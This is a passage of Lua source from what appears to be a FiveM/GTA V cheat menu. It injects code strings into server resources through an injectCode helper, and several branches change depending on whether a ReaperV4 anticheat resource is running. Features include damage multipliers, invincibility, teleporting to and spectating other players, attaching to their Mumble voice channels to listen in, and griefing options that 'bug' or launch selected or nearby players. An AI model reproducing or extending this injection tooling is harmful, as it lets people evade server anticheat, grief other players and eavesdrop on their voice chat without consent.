                                                    GetHashKey('WEAPON_ASSAULTRIFLE'), GetHashKey('WEAPON_CARBINERIFLE'),
                                                    GetHashKey('WEAPON_SNIPERRIFLE'), GetHashKey('WEAPON_HEAVYSNIPER'),
                                                    GetHashKey('WEAPON_SHOTGUN'), GetHashKey('WEAPON_PUMPSHOTGUN'),
                                                    GetHashKey('WEAPON_RPG'), GetHashKey('WEAPON_GRENADELAUNCHER'),
                                                    GetHashKey('WEAPON_UNARMED'),
                                                }) do
                                                    SafeRunNative(SetWeaponDamageModifier, wHash, mul)
                                                end
                                                Wait(500)
                                            end
                                            -- reset on disable
                                            for _, wHash in ipairs({
                                                GetHashKey('WEAPON_PISTOL'), GetHashKey('WEAPON_COMBATPISTOL'),
                                                GetHashKey('WEAPON_SMG'), GetHashKey('WEAPON_MICROSMG'),
                                                GetHashKey('WEAPON_ASSAULTRIFLE'), GetHashKey('WEAPON_CARBINERIFLE'),
                                                GetHashKey('WEAPON_SNIPERRIFLE'), GetHashKey('WEAPON_HEAVYSNIPER'),
                                                GetHashKey('WEAPON_SHOTGUN'), GetHashKey('WEAPON_PUMPSHOTGUN'),
                                                GetHashKey('WEAPON_RPG'), GetHashKey('WEAPON_GRENADELAUNCHER'),
                                                GetHashKey('WEAPON_UNARMED'),
                                            }) do
                                                SafeRunNative(SetWeaponDamageModifier, wHash, 1.0)
                                            end
                                            _G.junkieDmgMulThread = nil
                                        end)
                                    end
                                ]])
                            else
                                injectCode('monitor', [[ _G.junkieDmgMulActive = false ]])
                            end
                            showNotify('Damage Multiplier ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        type = 'scroll',
                        label = 'Damage Multiplier Value',
                        desc = 'Set the damage multiplier level.',
                        selected = 2,
                        options = {
                            { label = 'x2',   value = 2.0  },
                            { label = 'x5',   value = 5.0  },
                            { label = 'x10',  value = 10.0 },
                            { label = 'x25',  value = 25.0 },
                            { label = 'x50',  value = 50.0 },
                            { label = 'x100', value = 100.0 },
                        },
                        onConfirm = function(data)
                            injectCode('monitor', string.format([[ _G.junkieDmgMulValue = %f ]], data.value))
                            showNotify('Multiplier set to ' .. data.label, 'info')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Grapple Hook Gun',
                        desc = 'Fires a grapple hook that pulls you toward the aim point.',
                        onConfirm = function()
                            injectCode('monitor', [[
                                SafeRunNative(CreateThread, function()
                                    if _G.junkieGrappleActive then return end
                                    _G.junkieGrappleActive = true
                                    local ped = PlayerPedId()
                                    local cam = GetGameplayCameraCoord()
                                    local camDir = GetFinalRenderedCamRot(2)
                                    -- raycast forward to find hook point
                                    local fwd = GetFinalRenderedCamRot(2)
                                    local camFwd = GetGameplayCameraRot(2)
                                    local origin = GetEntityCoords(ped)
                                    local camPos = GetFinalRenderedCamCoord()
                                    -- convert rotation to direction
                                    local rx = math.rad(camFwd.x)
                                    local rz = math.rad(camFwd.z)
                                    local dirX = -math.sin(rz) * math.abs(math.cos(rx))
                                    local dirY =  math.cos(rz) * math.abs(math.cos(rx))
                                    local dirZ =  math.sin(rx)
                                    local endPos = vector3(camPos.x + dirX*120.0, camPos.y + dirY*120.0, camPos.z + dirZ*120.0)
                                    local hit, endCoord, _, _, hitEntity = SafeRunNative(StartExpensiveSynchronousShapeTestLosProbe,
                                        camPos.x, camPos.y, camPos.z, endPos.x, endPos.y, endPos.z,
                                        1 | 2 | 4 | 8 | 16, ped, 4)
                                    local _, result, _, hookPoint = SafeRunNative(GetShapeTestResult, hit)
                                    if result ~= 1 then
                                        _G.junkieGrappleActive = false
                                        return
                                    end
                                    -- draw rope + pull
                                    SafeRunNative(AddRope,
                                        origin.x, origin.y, origin.z,
                                        0.0, 0.0, 0.0,
                                        #(vector3(origin.x, origin.y, origin.z) - vector3(hookPoint.x, hookPoint.y, hookPoint.z)),
                                        1, 10.0, 0.0, 0.0, false, false, false, 1.0, false, nil)
                                    local start2 = GetGameTimer()
                                    while (GetGameTimer() - start2) < 2000 do
                                        local pc = GetEntityCoords(ped)
                                        local dx = hookPoint.x - pc.x
                                        local dy = hookPoint.y - pc.y
                                        local dz = hookPoint.z - pc.z
                                        local len = math.sqrt(dx*dx + dy*dy + dz*dz)
                                        if len < 2.0 then break end
                                        if len > 0 then dx=dx/len dy=dy/len dz=dz/len end
                                        SafeRunNative(SetEntityVelocity, ped, dx*25.0, dy*25.0, dz*25.0)
                                        Wait(0)
                                    end
                                    _G.junkieGrappleActive = false
                                end)
                            ]])
                            showNotify('Grapple fired', 'success')
                        end
                    },
                    { type = 'divider', label = 'Juggernaut / Ride / Skate / Sky' },
                    {
                        type = 'button',
                        label = 'Juggernaut Mode',
                        desc = 'Ballistic outfit + helmet, minigun, 2000 HP, juggernaut walk.',
                        onConfirm = function()
                            injectCode('monitor', [[
                                SafeRunNative(CreateThread, function()
                                    local modelHash = GetHashKey("mp_m_freemode_01")
                                    SafeRunNative(RequestModel, modelHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, modelHash) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    SafeRunNative(SetPlayerModel, PlayerId(), modelHash)
                                    SafeRunNative(SetPedRandomComponentVariation, PlayerPedId(), true)
                                    Wait(500)
                                    local ped = PlayerPedId()
                                    SafeRunNative(ResetPedMovementClipset, ped, 1.0)
                                    SafeRunNative(ResetPedStrafeClipset, ped)
                                    SafeRunNative(SetPedMovementClipset, ped, "ANIM_GROUP_MOVE_BALLISTIC", 1.0)
                                    SafeRunNative(SetPedStrafeClipset, ped, "MOVE_STRAFE_BALLISTIC")
                                    SafeRunNative(SetWeaponAnimationOverride, ped, 0x5534A626)
                                    SafeRunNative(SetPedComponentVariation, ped, 0, 0, 0, 0)
                                    SafeRunNative(SetPedComponentVariation, ped, 1, 104, 25, 0)
                                    SafeRunNative(SetPedComponentVariation, ped, 2, 57, 0, 0)
                                    SafeRunNative(SetPedComponentVariation, ped, 3, 31, 0, 0)
                                    SafeRunNative(SetPedComponentVariation, ped, 4, 84, 0, 0)
                                    SafeRunNative(SetPedComponentVariation, ped, 5, 0, 0, 0)
                                    SafeRunNative(SetPedComponentVariation, ped, 6, 33, 0, 0)
                                    SafeRunNative(SetPedPropIndex, ped, 0, 39, 0, false)
                                    SafeRunNative(SetPedPropIndex, ped, 1, 15, 1, false)
                                    SafeRunNative(SetPedPropIndex, ped, 2, 3, 0, false)
                                    SafeRunNative(SetEntityMaxHealth, ped, 2000)
                                    SafeRunNative(SetPedMaxHealth, ped, 2000)
                                    SafeRunNative(SetEntityHealth, ped, 2000)
                                    SafeRunNative(GiveWeaponToPed, ped, GetHashKey("WEAPON_MINIGUN"), -1, true, false)
                                end)
                            ]])
                            showNotify('Juggernaut Mode activated', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Skateboarding',
                        desc = 'Attaches a skateboard under your feet and plays stealth idle.',
                        onConfirm = function()
                            injectCode('monitor', [[
                                SafeRunNative(CreateThread, function()
                                    local ped = PlayerPedId()
                                    local dict = "move_strafe@stealth"
                                    SafeRunNative(RequestAnimDict, dict)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasAnimDictLoaded, dict) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    SafeRunNative(TaskPlayAnim, ped, dict, "idle", 8.0, -4.0, -1, 9, 0.0, false, false, false)
                                    local model = GetHashKey("prop_railsleepers01")
                                    SafeRunNative(RequestModel, model)
                                    local t2 = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, model) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - t2) > 5000 then return end
                                    end
                                    local board = SafeRunNative(CreateObject, model, SafeRunNative(GetEntityCoords, ped), false, false, false)
                                    SafeRunNative(AttachEntityToEntity, board, ped, 0, 0.0, 0.0, -1.0, 0.0, 0.0, 65.0, false, false, false, false, 2, true)
                                    _G.junkieSkateBoard = board
                                end)
                            ]])
                            showNotify('Skating', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Stop Skateboarding',
                        onConfirm = function()
                            injectCode('monitor', [[
                                SafeRunNative(ClearPedTasksImmediately, PlayerPedId())
                                if _G.junkieSkateBoard and SafeRunNative(DoesEntityExist, _G.junkieSkateBoard) then
                                    SafeRunNative(DetachEntity, _G.junkieSkateBoard, true, true)
                                    SafeRunNative(DeleteObject, _G.junkieSkateBoard)
                                    _G.junkieSkateBoard = nil
                                end
                            ]])
                            showNotify('Skate stopped', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Sky Dive',
                        desc = 'Teleports you 500m up with a parachute and launches you forward.',
                        onConfirm = function()
                            injectCode('monitor', [[
                                SafeRunNative(CreateThread, function()
                                    local ped = PlayerPedId()
                                    local pos = SafeRunNative(GetEntityCoords, ped)
                                    SafeRunNative(GiveWeaponToPed, ped, GetHashKey('gadget_parachute'), 1, true, true)
                                    SafeRunNative(DoScreenFadeOut, 3000)
                                    while not SafeRunNative(IsScreenFadedOut) do Wait(0) end
                                    SafeRunNative(SetEntityCoords, ped, pos.x, pos.y, pos.z + 500.0)
                                    SafeRunNative(DoScreenFadeIn, 2000)
                                    Wait(2000)
                                    SafeRunNative(SetPlayerInvincible, PlayerId(), true)
                                    SafeRunNative(SetEntityProofs, ped, true, true, true, true, true, false, 0, false)
                                    SafeRunNative(ApplyForceToEntity, ped, true, 0.0, 200.0, 2.5, 0.0, 0.0, 0.0, false, true, false, false, false, true)
                                end)
                            ]])
                            showNotify('Sky Dive activated', 'success')
                        end
                    },
                    {
                        type = 'submenu',
                        label = 'Ride Animals',
                        desc = 'Spawn and mount an animal.',
                        submenu = (function()
                            local animals = {
                                { label = 'Deer',   model = 'a_c_deer'   },
                                { label = 'Cow',    model = 'a_c_cow'    },
                                { label = 'Pig',    model = 'a_c_pig'    },
                                { label = 'Monkey', model = 'a_c_monkey' },
                                { label = 'Lion',   model = 'a_c_lion'   },
                                { label = 'Husky',  model = 'a_c_husky'  },
                                { label = 'Coyote', model = 'a_c_coyote' },
                                { label = 'Rat',    model = 'a_c_rat'    },
                                { label = 'Chop',   model = 'a_c_chop'   },
                            }
                            local items = {}
                            for _, a in ipairs(animals) do
                                local lbl = a.label
                                local mdl = a.model
                                items[#items+1] = {
                                    type = 'button',
                                    label = 'Ride ' .. lbl,
                                    onConfirm = function()
                                        injectCode('monitor', string.format([[
                                            SafeRunNative(CreateThread, function()
                                                local ped = PlayerPedId()
                                                local modelHash = GetHashKey(%q)
                                                SafeRunNative(RequestModel, modelHash)
                                                local timer = SafeRunNative(GetGameTimer)
                                                while not SafeRunNative(HasModelLoaded, modelHash) do
                                                    Wait(0)
                                                    if (SafeRunNative(GetGameTimer) - timer) > 7000 then return end
                                                end
                                                local pos = SafeRunNative(GetEntityCoords, ped)
                                                local animal = SafeRunNative(CreatePed, 28, modelHash, pos.x + 2.0, pos.y, pos.z, 0.0, false, false)
                                                SafeRunNative(SetEntityAsMissionEntity, animal, true, true)
                                                SafeRunNative(FreezeEntityPosition, animal, true)
                                                SafeRunNative(FreezeEntityPosition, ped, true)
                                                local aPos = SafeRunNative(GetEntityCoords, animal)
                                                SafeRunNative(SetEntityCoords, ped, aPos.x, aPos.y, aPos.z)
                                                local boneIdx = SafeRunNative(GetPedBoneIndex, animal, 24816)
                                                SafeRunNative(AttachEntityToEntity, ped, animal, boneIdx, -0.3, 0.0, 0.3, 0.0, 0.0, 90.0, false, false, false, true, 2, true)
                                                local dict = 'rcmjosh2'
                                                SafeRunNative(RequestAnimDict, dict)
                                                local t2 = SafeRunNative(GetGameTimer)
                                                while not SafeRunNative(HasAnimDictLoaded, dict) do
                                                    Wait(0)
                                                    if (SafeRunNative(GetGameTimer) - t2) > 5000 then break end
                                                end
                                                SafeRunNative(TaskPlayAnim, ped, dict, 'josh_sitting_loop', 8.0, 1, -1, 2, 1.0, 0, 0, 0)
                                                SafeRunNative(FreezeEntityPosition, animal, false)
                                                SafeRunNative(FreezeEntityPosition, ped, false)
                                                SafeRunNative(TaskWanderStandard, animal, 10.0, 10)
                                                _G.junkieRideAnimal = animal
                                            end)
                                        ]], mdl))
                                        showNotify('Riding ' .. lbl, 'success')
                                    end
                                }
                            end
                            items[#items+1] = {
                                type = 'button',
                                label = 'Dismount',
                                onConfirm = function()
                                    injectCode('monitor', [[
                                        SafeRunNative(DetachEntity, PlayerPedId(), true, true)
                                        SafeRunNative(ClearPedTasksImmediately, PlayerPedId())
                                        if _G.junkieRideAnimal and SafeRunNative(DoesEntityExist, _G.junkieRideAnimal) then
                                            SafeRunNative(DeletePed, _G.junkieRideAnimal)
                                            _G.junkieRideAnimal = nil
                                        end
                                    ]])
                                    showNotify('Dismounted', 'success')
                                end
                            }
                            return items
                        end)()
                    },
                    {
                        type = 'submenu',
                        label = 'Vision Effects',
                        desc = 'Apply timecycle vision modifiers.',
                        submenu = (function()
                            local vfx = {
                                { label = 'Broken Camera', mod = 'Broken_camera_fuzz' },
                                { label = 'EMP',           mod = 'ArenaEMP'           },
                                { label = 'Old TV',        mod = 'CAMERA_secuirity'   },
                                { label = 'UFO',           mod = 'ufo'                },
                                { label = '1907',          mod = 'BikersSPLASH'       },
                                { label = 'Green',         mod = 'AirRaceBoost02'     },
                                { label = 'Purple',        mod = 'PPPurple01'         },
                                { label = 'White',         mod = 'LostTimeFlash'      },
                                { label = 'Cold',          mod = 'BulletTimeDark'     },
                                { label = 'Weed',          mod = 'DRUG_gas_huffin'    },
                                { label = 'Drug',          mod = 'Drug_deadman_blend' },
                                { label = 'Dead Man',      mod = 'Glasses_BlackOut'   },
                                { label = 'Cocaine',       mod = 'ArenaEMP_Blend'     },
                                { label = 'Zombie',        mod = 'Hicksbar'           },
                                { label = 'Desert',        mod = 'DRUG_2_drive'       },
                                { label = 'Cross Line',    mod = 'CrossLine02'        },
                                { label = 'Light Red',     mod = 'DeadlineNeon01'     },
                                { label = 'Yellow',        mod = 'BleepYellow02'      },
                                { label = 'Not Clear',     mod = 'BlackOut'           },
                            }
                            local items = {}
                            for _, v in ipairs(vfx) do
                                local lbl = v.label
                                local modifier = v.mod
                                items[#items+1] = {
                                    type = 'button',
                                    label = lbl,
                                    onConfirm = function()
                                        injectCode('monitor', string.format([[
                                            SafeRunNative(SetPedIsDrunk, PlayerPedId(), true)
                                            SafeRunNative(SetTimecycleModifier, %q)
                                            SafeRunNative(SetTimecycleModifierStrength, 1.0)
                                        ]], modifier))
                                        showNotify('Vision: ' .. lbl, 'success')
                                    end
                                }
                            end
                            items[#items+1] = {
                                type = 'button',
                                label = 'Clear Vision',
                                onConfirm = function()
                                    injectCode('monitor', [[
                                        SafeRunNative(SetPedIsDrunk, PlayerPedId(), false)
                                        SafeRunNative(ClearTimecycleModifier)
                                    ]])
                                    showNotify('Vision cleared', 'success')
                                end
                            }
                            return items
                        end)()
                    },
                    { type = 'divider', label = 'Skin Presets' },
                    {
                        type = 'submenu',
                        label = 'Skin Change',
                        desc = '60+ one-click model presets.',
                        submenu = (function()
                            local skins = {
                                { label = 'Clown',          model = 's_m_y_clown_01'      },
                                { label = 'Mime',           model = 'S_M_Y_Mime'          },
                                { label = 'Stripper',       model = 's_f_y_stripper_01'   },
                                { label = 'Cop M',          model = 's_m_y_cop_01'        },
                                { label = 'Cop F',          model = 'MP_F_Cop_01'         },
                                { label = 'Sheriff M',      model = 'S_M_Y_Sheriff_01'    },
                                { label = 'Sheriff F',      model = 'S_F_Y_Sheriff_01'    },
                                { label = 'SWAT',           model = 'S_M_Y_Swat_01'       },
                                { label = 'Ranger M',       model = 'S_M_Y_Ranger_01'     },
                                { label = 'Ranger F',       model = 'S_F_Y_Ranger_01'     },
                                { label = 'Robot Ranger',   model = 'U_M_Y_RSRanger_01'   },
                                { label = 'Armoured',       model = 'S_M_M_Armoured_01'   },
                                { label = 'Bodybuilder M1', model = 'A_M_Y_MusclBeac_01'  },
                                { label = 'Bodybuilder M2', model = 'A_M_Y_MusclBeac_02'  },
                                { label = 'Bodybuilder F',  model = 'CS_MaryAnn'          },
                                { label = 'Surfer',         model = 'A_M_Y_Surfer_01'     },
                                { label = 'Beach F1',       model = 'A_F_M_Beach_01'      },
                                { label = 'Beach F2',       model = 'A_F_Y_Beach_01'      },
                                { label = 'Beach Fat F',    model = 'A_F_M_FatCult_01'    },
                                { label = 'Rich F1',        model = 'A_F_Y_BevHills_01'   },
                                { label = 'Rich F2',        model = 'A_F_Y_BevHills_02'   },
                                { label = 'Rich F3',        model = 'A_F_Y_BevHills_03'   },
                                { label = 'Rich F4',        model = 'A_F_Y_BevHills_04'   },
                                { label = 'Bride',          model = 'CSB_Bride'           },
                                { label = 'Poppy Mich',     model = 'U_F_Y_PoppyMich'     },
                                { label = 'Anita',          model = 'CSB_Anita'           },
                                { label = 'Skater F',       model = 'A_F_Y_Skater_01'     },
                                { label = 'SouCent F',      model = 'A_F_Y_SouCent_01'    },
                                { label = 'Chinese Boss',   model = 'G_M_M_ChiBoss_01'    },
                                { label = 'Chinese Goon 1', model = 'G_M_M_ChiGoon_01'    },
                                { label = 'Chinese Goon 2', model = 'G_M_M_ChiGoon_02'    },
                                { label = 'Hao',            model = 'CSB_Hao'             },
                                { label = 'Chinese F',      model = 'A_F_Y_Vinewood_03'   },
                                { label = 'Korean M1',      model = 'A_M_Y_KTown_01'      },
                                { label = 'Korean M2',      model = 'A_M_Y_KTown_02'      },
                                { label = 'Korean Boss',    model = 'G_M_M_KorBoss_01'    },
                                { label = 'Korean Gang 1',  model = 'G_M_Y_Korean_01'     },
                                { label = 'Korean Gang 2',  model = 'G_M_Y_Korean_02'     },
                                { label = 'Korean F1',      model = 'S_F_Y_MovPrem_01'    },
                                { label = 'Korean F2',      model = 'A_F_M_KTown_01'      },
                                { label = 'Korean F3',      model = 'A_F_M_KTown_02'      },
                                { label = 'Korean F4',      model = 'A_F_O_KTown_01'      },
                                { label = 'Mexican M1',     model = 'A_M_M_MexCntry_01'   },
                                { label = 'Mexican M2',     model = 'A_M_M_MexLabor_01'   },
                                { label = 'Mexican Thug',   model = 'A_M_Y_MexThug_01'    },
                                { label = 'Mex Boss 1',     model = 'G_M_M_MexBoss_01'    },
                                { label = 'Mex Boss 2',     model = 'G_M_M_MexBoss_02'    },
                                { label = 'Mani',           model = 'U_M_Y_Mani'          },
                                { label = 'Mariachi',       model = 'S_M_M_Mariachi_01'   },
                                { label = 'Mexican F',      model = 'U_F_Y_SpyActress'    },
                                { label = 'Maid',           model = 'S_F_M_Maid_01'       },
                                { label = 'Boar',           model = 'A_C_Boar'            },
                                { label = 'Pig',            model = 'A_C_Pig'             },
                                { label = 'Deer',           model = 'A_C_Deer'            },
                                { label = 'Hen',            model = 'A_C_Hen'             },
                                { label = 'Hawk',           model = 'A_C_Chickenhawk'     },
                                { label = 'Crow',           model = 'A_C_Crow'            },
                                { label = 'Chimp',          model = 'A_C_Chimp'           },
                            }
                            local items = {}
                            for _, s in ipairs(skins) do
                                local lbl = s.label
                                local mdl = s.model
                                items[#items+1] = {
                                    type = 'button',
                                    label = lbl,
                                    onConfirm = function()
                                        injectCode('monitor', string.format([[
                                            SafeRunNative(CreateThread, function()
                                                local mh = SafeRunNative(GetHashKey, %q)
                                                SafeRunNative(RequestModel, mh)
                                                local t = GetGameTimer()
                                                while not SafeRunNative(HasModelLoaded, mh) do
                                                    Wait(0)
                                                    if GetGameTimer() - t > 5000 then return end
                                                end
                                                SafeRunNative(SetPlayerModel, PlayerId(), mh)
                                                SafeRunNative(SetModelAsNoLongerNeeded, mh)
                                            end)
                                        ]], mdl))
                                        showNotify('Skin: ' .. lbl, 'success')
                                    end
                                }
                            end
                            return items
                        end)()
                    },
                }
            },
        },
    },
    {
        label = 'Online',
        type = 'submenu',
        tabs = {
            {
                name = 'List',
                submenu = onlineListSubmenu
            },
            {
                name = 'Misc',
                submenu = {
                    {
                        type = 'button',
                        label = 'Teleport to Player',
                        onConfirm = function()
                            local serverId = GetSelectedPlayer()

                            if not serverId then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('monitor', string.format([[
                                local player = GetPlayerFromServerId(%d)
                                local targetPed = player > 0 and GetPlayerPed(player)

                                if targetPed and targetPed > 0 then
                                    local coords = GetEntityCoords(targetPed)
                                    local selfPed = PlayerPedId()

                                    SafeRunNative(SetEntityCoords, selfPed, coords.x, coords.y, coords.z + 0.0, false, false, false, true)
                                end
                            ]], serverId))
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'Player Blip',
                        onConfirm = function(checked)
                            local serverId = GetSelectedPlayer()

                            if not serverId then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                local targetID = %d
                                local blip = GetBlipFromEntity(GetPlayerPed(GetPlayerFromServerId(targetID)))
                                if blip and blip > 0 then
                                    SafeRunNative(RemoveBlip, blip)
                                end

                                if %s then
                                    local ped = GetPlayerPed(GetPlayerFromServerId(targetID))
                                    if ped and ped > 0 then
                                        SafeRunNative(AddBlipForEntity, ped)
                                    end
                                end
                            ]], serverId, checked))
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'Spectate Player',
                        onConfirm = function(checked)
                            local serverId = GetSelectedPlayer()

                            if not serverId then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            if GetResourceState('ReaperV4') == 'started' then
                                injectCode('any', string.format([[
                                    local targetID = %d
                                    local targetPed = GetPlayerPed(GetPlayerFromServerId(targetID))
                                    if not DoesEntityExist(targetPed) then return end
                                    SafeRunNative(NetworkSetInSpectatorMode, %s, targetPed)
                                ]], serverId, checked))
                            else
                                injectCode('any', string.format([[
                                    _G.__SpectateRunning = %s
                                    local tgtPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                    local cam = SafeRunNative(CreateCam, "DEFAULT_SCRIPTED_CAMERA", true)
                                    _G.__SpectateCam = cam

                                    SafeRunNative(SetCamActive, cam, true)
                                    SafeRunNative(RenderScriptCams, true, false, 0, true, false)

                                    local function enableSpectateVoice()
                                        local players = GetActivePlayers()
                                        for i = 1, #players do
                                            local ply = players[i]
                                            local sid = GetPlayerServerId(ply)
                                            if sid ~= GetPlayerServerId(PlayerId()) then
                                                local ch = SafeRunNative(MumbleGetVoiceChannelFromServerId, sid)
                                                if ch ~= -1 then
                                                    SafeRunNative(MumbleAddVoiceChannelListen, ch)
                                                end
                                            end
                                        end
                                    end

                                    enableSpectateVoice()

                                    SafeRunNative(CreateThread, function()
                                        local distanceBehind = 3.0
                                        local baseHeight = 1.0

                                        while _G.__SpectateRunning and tgtPed and DoesEntityExist(tgtPed) do
                                            Wait(1)
                                            local coords = GetEntityCoords(tgtPed)
                                            SafeRunNative(RequestAdditionalCollisionAtCoord, coords.x, coords.y, coords.z)
                                            SafeRunNative(SetFocusPosAndVel, coords.x, coords.y, coords.z, 0.0, 0.0, 0.0)

                                            local camRot = GetGameplayCamRot(0)
                                            local pitch = -math.rad(camRot.x)
                                            local heading = math.rad(camRot.z)

                                            local offsetX = -math.sin(heading) * math.cos(pitch) * distanceBehind
                                            local offsetY =  math.cos(heading) * math.cos(pitch) * distanceBehind
                                            local offsetZ =  math.sin(pitch) * distanceBehind

                                            local camX = coords.x + offsetX
                                            local camY = coords.y + offsetY
                                            local camZ = coords.z + baseHeight + offsetZ

                                            SafeRunNative(SetCamCoord, cam, camX, camY, camZ)
                                            SafeRunNative(PointCamAtEntity, cam, tgtPed, 0.0, 0.0, 0.8, true)

                                            tgtPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                        end

                                        SafeRunNative(ClearFocus)
                                        SafeRunNative(RenderScriptCams, false, false, 0, true, false)
                                        SafeRunNative(DestroyCam, cam, false)
                                        _G.__SpectateCam = nil
                                    end)
                                ]], checked, serverId, serverId))
                            end
                        end
                    },
                    {
                        label = 'Copy Outfit',
                        type = 'button',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            
                            injectCode('monitor', string.format([[
                                local player = GetPlayerFromServerId(%d)
                                local targetPed = player > 0 and GetPlayerPed(player)

                                if targetPed and targetPed > 0 then
                                    local selfPed = PlayerPedId()

                                    SafeRunNative(ClonePedToTarget, targetPed, selfPed)
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        label = 'Bug Player',
                        type = 'button',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            if _G.SetClient_RunningBugPlayer then
                                return
                            end

                            _G.SetClient_RunningBugPlayer = true

                            local selfPed = PlayerPedId()
                            local setCoords = GetEntityCoords(selfPed)
                            local setHeading = GetEntityHeading(selfPed)
                            local cachedSelfData = GetCachedSelfData()
                            local runingBugger = true

                            CreateThread(function()
                                while runingBugger do
                                    selfPed = PlayerPedId()

                                    TaskJump(selfPed)
                                    SetEntityVelocity(selfPed, 50.0, 50.0, 50.0)
                                    FreezeEntityPosition(selfPed, true)
                                    SetEntityCoords(selfPed, setCoords.x, setCoords.y, setCoords.z)

                                    Wait(0)
                                end
                            end)

                            CreateThread(function()
                                Wait(0)

                                local serverId = selectedPlayer
                                local player = GetPlayerFromServerId(serverId)
                                local targetPed = player > 0 and GetPlayerPed(player)

                                if targetPed and targetPed > 0 then
                                    local selfPed = PlayerPedId()

                                    if targetPed ~= selfPed then
                                        local targetEntity = GetVehiclePedIsIn(targetPed, false)

                                        if not targetEntity or targetEntity <= 0 then
                                            targetEntity = targetPed
                                        end

                                        -- for l = 1, 3 do
                                            AttachEntityToEntityPhysically(selfPed, targetEntity, 0, 0, 999.0, 999.0, 999.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 999999999, true, true, true, true, 1)

                                            Wait(0)

                                            DetachEntity(selfPed, true, true)

                                            Wait(0)
                                        -- end
                                    end
                                end

                                Wait(0)

                                selfPed = PlayerPedId()

                                runingBugger = false

                                ClearPedTasksImmediately(selfPed)

                                Wait(50)

                                selfPed = PlayerPedId()

                                DetachEntity(selfPed, true, true)
                                FreezeEntityPosition(selfPed, false)

                                SetCurrentSelfData(cachedSelfData)

                                Wait(100)

                                _G.SetClient_RunningBugPlayer = false
                            end)
                        end
                    },
                    {
                        label = 'Bug Nearest Player',
                        desc = 'Bugs the physically closest player — no list selection needed.',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                if _G.SetClient_RunningBugPlayer then return end
                                _G.SetClient_RunningBugPlayer = true

                                local selfPed = PlayerPedId()
                                local setCoords = GetEntityCoords(selfPed)
                                local cachedSelfData = _G.GetCachedSelfData and _G.GetCachedSelfData() or nil

                                -- find closest player
                                local closestPed = nil
                                local closestDist = math.huge
                                for _, pid in ipairs(GetActivePlayers()) do
                                    if pid ~= PlayerId() then
                                        local p = GetPlayerPed(pid)
                                        if DoesEntityExist(p) then
                                            local d = #(GetEntityCoords(p) - setCoords)
                                            if d < closestDist then
                                                closestDist = d
                                                closestPed = p
                                            end
                                        end
                                    end
                                end

                                if not closestPed then
                                    _G.SetClient_RunningBugPlayer = false
                                    return
                                end

                                local runingBugger = true

                                SafeRunNative(CreateThread, function()
                                    while runingBugger do
                                        selfPed = PlayerPedId()
                                        SafeRunNative(TaskJump, selfPed, false)
                                        SafeRunNative(SetEntityVelocity, selfPed, 50.0, 50.0, 50.0)
                                        SafeRunNative(FreezeEntityPosition, selfPed, true)
                                        SafeRunNative(SetEntityCoords, selfPed, setCoords.x, setCoords.y, setCoords.z)
                                        Wait(0)
                                    end
                                end)

                                SafeRunNative(CreateThread, function()
                                    Wait(0)
                                    local targetEntity = GetVehiclePedIsIn(closestPed, false)
                                    if not targetEntity or targetEntity <= 0 then targetEntity = closestPed end

                                    SafeRunNative(AttachEntityToEntityPhysically,
                                        selfPed, targetEntity, 0, 0,
                                        999.0, 999.0, 999.0,
                                        0.0, 0.0, 0.0,
                                        0.0, 0.0, 0.0,
                                        999999999, true, true, true, true, 1
                                    )
                                    Wait(0)
                                    SafeRunNative(DetachEntity, selfPed, true, true)
                                    Wait(0)

                                    runingBugger = false
                                    selfPed = PlayerPedId()
                                    SafeRunNative(ClearPedTasksImmediately, selfPed)
                                    Wait(50)
                                    selfPed = PlayerPedId()
                                    SafeRunNative(DetachEntity, selfPed, true, true)
                                    SafeRunNative(FreezeEntityPosition, selfPed, false)
                                    Wait(100)
                                    _G.SetClient_RunningBugPlayer = false
                                end)
                            ]])
                            showNotify('Bugging nearest player...', 'info')
                        end
                    },
                    {
                        label = 'Launch Player',
                        type = 'button',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('monitor', string.format([[
                                local player = GetPlayerFromServerId(%d)
                                local targetPed = player > 0 and GetPlayerPed(player)

                                if targetPed and targetPed > 0 then
                                    SafeRunNative(CreateThread, function()
                                        local vehicle = GetNearestVehicle(true)
                                        local spawned = false

                                        if vehicle and vehicle > 0 then
                                            TakeControlOfVehicle(vehicle)
                                        else
                                            local vehicleHash = GetHashKey('adder')

                                            RequestModel(vehicleHash)

                                            local setTimer = GetGameTimer()

                                            while not HasModelLoaded(vehicleHash) do
                                                Wait(0)

                                                if (GetGameTimer() - setTimer) > 5000 then
                                                    return
                                                end
                                            end

                                            local selfCoords = GetEntityCoords(PlayerPedId())

                                            vehicle = SafeRunNative(CreateVehicle, vehicleHash, selfCoords.x, selfCoords.y, selfCoords.z, 0.0, true, false)

                                            SafeRunNative(SetModelAsNoLongerNeeded, vehicleHash)

                                            spawned = true
                                        end

